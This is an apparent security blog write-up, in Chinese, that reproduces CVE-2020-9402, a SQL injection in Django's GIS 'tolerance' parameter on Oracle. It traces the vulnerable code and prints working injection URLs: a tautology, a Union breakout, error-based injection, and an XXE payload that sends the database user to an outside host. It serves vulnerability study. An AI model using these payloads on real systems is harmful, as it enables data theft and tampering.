menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-9402)Django Geo sql注入 chevron_right (CVE-2020-9402)Django Geo sql注入.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-9402)Django Geo sql注入.md
    8.81 KB / 2021-07-15 19:50:50
        (CVE-2020-9402)Django Geo sql注入
    ===================================
    
    一、漏洞简介
    ------------
    
    Django
    1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。
    
    二、漏洞影响
    ------------
    
    Django
    1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞
    
    三、复现过程
    ------------
    
    根据官网的修复https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927\#diff-229e38ececbfc591f7a5e595bf5707c4,可以看到问题出在GIS的查询上面
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId24.png)
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId25.png)
    
    官方只修复了这两个位置,可以发现基本上是对于`tolerance`参数进行判断是否为数字。那首先来了解一下GIS查询。
    
    GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于一个空间数据库,我们可以通过如下的经纬度信息
    
        pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)
    
        >>>SRID=4326;POINT (-96.876369 29.90532)
    
    来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储
    
        from django.contrib.gis.db import models
        class Names(models.Model):
            name = models.CharField(max_length=128)
    
            def __str__(self):
                return self.name
    
        class Interstate(Names):
            path = models.LineStringField()
    
    后台存储的时候发出path的信息为json数据,例如
    
        {"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId26.png)
    
    我们就获得了一个基本的地理位置数据,同理,通过构造一个聚合的查询方法
    
        def vuln(request):
            q = request.GET.get('q')
            qs=Interstate.objects.annotate(
                    d=Distance(
                        Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
                        Point(0.009735976166628611, -0.00587635491086091, srid=4326),
                        tolerance = q, # default 0.05
                    ),
                ).filter(d=D(m=1)).values('name')
    
    因为官网文档找不到如何构造Point查询,因此为了省事,直接写死了Point数值。。srid为空间参考的投影设置,默认值为4326。其中`tolerance`是对于oracle特殊存在的一个键值,其作用是基本你的容错率,详细的信息可以参考[oracle官方文档](https://docs.oracle.com/en/database/oracle/oracle-database/18/spatl/spatial-concepts.html#GUID-CE10AB14-D5EA-43BA-A647-DAC9EEF41EE6)。对应的查询语句为
    
        SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) =  1.0 FETCH FIRST 21 ROWS ONLY;
    
    **0x02代码分析**首先从传入一个url
    
        http://127.0.0.1:8000/vuln/?q=20) = 1 OR 1=1 OR (1%2B1
    
    从`annotate`聚合函数开始跟进,同普通的model函数查询一样,gis查询虽然拥有着单独的model模块,但依旧还是依靠着普通model中进行过滤和查询。从gis的model文件夹中的`__init__.py`文件中看
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId28.png)
    
    主要的查询依然调用的是django最基本的db方法,而其中单独定义了`function`方法等一些对地理位置插叙独特的方法。程序运行到`/django/db/models/manager.py`文件中的`_get_queryset_methods`后,获取到tolerant参数之后便直接进入到gis模块中进行查询
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId29.png)
    
    继而进入到`django/contrib/gis/measure.py`文件中的`MeasureBase`类中进行方法调用,那么后面的方法分析可以跳过,因此直接来到漏洞代码段。先来看gis
    API中的functions函数,在as\_oracle方法这一段
    
        def as_oracle(self, compiler, connection, **extra_context):
            tol = self.extra.get('tolerance', self.tolerance)
            return self.as_sql(
                compiler, connection,
                template="%%(function)s(%%(expressions)s, %s)" % tol,
                **extra_context
            )
    
    `tolerance`
    从self.extra.get导入,该方法会搜索全局变量的值,如果该值不存在,则直接设置为0.05,并且将其直接传入到新的变量中。之后则不对tol进行任何处理直接拼接到template字符串中并且传入`as_sql`方法。那么官方对于as\_sql的文档是,此方法需要一个SQLCompiler对象,位于`django/db/models/sql/compiler.py`文件中。而我们只需要知道在该对象中有一个`compile()`方法,该方法可以返回一个包含SQL字符串的元祖,而SQLComiler对象中的query变量则是存储直接进行SQL查询语句的SQL命令。从而两个Point分别进入`compile`方法中进行拼接
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId30.png)
    
    不知道为什么,用pycharm在as\_oracle下断点的时候,第一次到达SQLCompiler的时候,pycharm不会在as\_oracle函数中停下来,而是在第二次查询的时候才会停,但是经过测试确实是在进入SQLCompiler之前调用过as\_orcle函数,可能是pycharm没有正确识别重载函数吧。之后template构造模版也因此进入到`expression.py`中的as\_sql函数中进行字符串构造
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId31.png)
    
    因此最后进入oracle的命令语句是
    
        SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1  OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId32.png)
    
    带入数据库中查询
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId33.png)
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId34.png)
    
    官方修复的方法就是加入Value函数,判断传入的值是否为数字,否的话直接报错推出。那么第二个注入点就是`Union`了,建立Model
    
        class City(Names):
            point = models.PointField()  # 点模块
    
    编辑传入的参数为
    
        {"type":"Point","coordinates":[13250.226757682816,68815.69380603009]}
    
    view中设置查询
    
        from django.contrib.gis.db.models import Union
        def vuln2(request):
            q = request.GET.get('q')
            res = City.objects.aggregate(
                    Union('point', tolerance=q),
            )
            return HttpResponse(res)
    
    输入url
    
        http://127.0.0.1:8000/vuln2?q=0.05)))%2C%20(((1
    
    首先看结果,得到的SQL查询语句为
    
        SELECT SDO_UTIL.TO_WKBGEOMETRY(SDO_AGGR_UNION(SDOAGGRTYPE("APP_CITY"."POINT",0.05))), (((1))) AS "POINT__UNION" FROM "APP_CITY";
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId35.png)
    
    该aggregate查询方法是GIS查询特定的一种查询方法,为的是与地理查询的语句做适配,用法跟原模块的方法类似。因此跟进GIS模块中的聚合查询方法,位于`django/contrib/gis/db/models/aggregates.py`文件内的as\_oracle方法。
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId36.png)
    
    同样tolerance没有做任何检查直接传入了template模版语句中,原理与上面annotate查询过程一致。利用有大致两个方法报错注入
    
        http://localhost:8000/test/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v%24instance)) from dual) is null%20 OR (1%2B1
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId37.png)
    
    CVE-2014-6577因为Django自2.0以后支持的oracle版本为12以上,因此可以尝试oracle
    XXE来进行SQL的注入。同时因为在SQL处理的过程中有三次利用%的模版跳转,因此需要在XMLpayload中的%替换为%%%%,payload为
    
        http://localhost:8000/test/?q=20) = 1 OR (select%20extractvalue(xmltype('%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%25%25%25%20remote%20SYSTEM%20%22http%3A%2F%2Fdocker.for.mac.host.internal%3A9000%2F'%7C%7C(SELECT%20user%20from%20dual)%7C%7C'%22%3E%20%25%25%25%25remote%3B%5D%3E')%2C'%2Fl')%20from%20dual)%20is%20not%20null OR (1%2B1
    
    ![](./resource/(CVE-2020-9402)DjangoGeosql注入/media/rId38.png)
    
    命令执的话因为是docker起的oracle所以没有设置JAVA的环境,暂时也不能判定有没有,以后再研究看看。
    
    参考链接
    --------
    
    > https://xz.aliyun.com/t/7403
    
    
    links
    file_download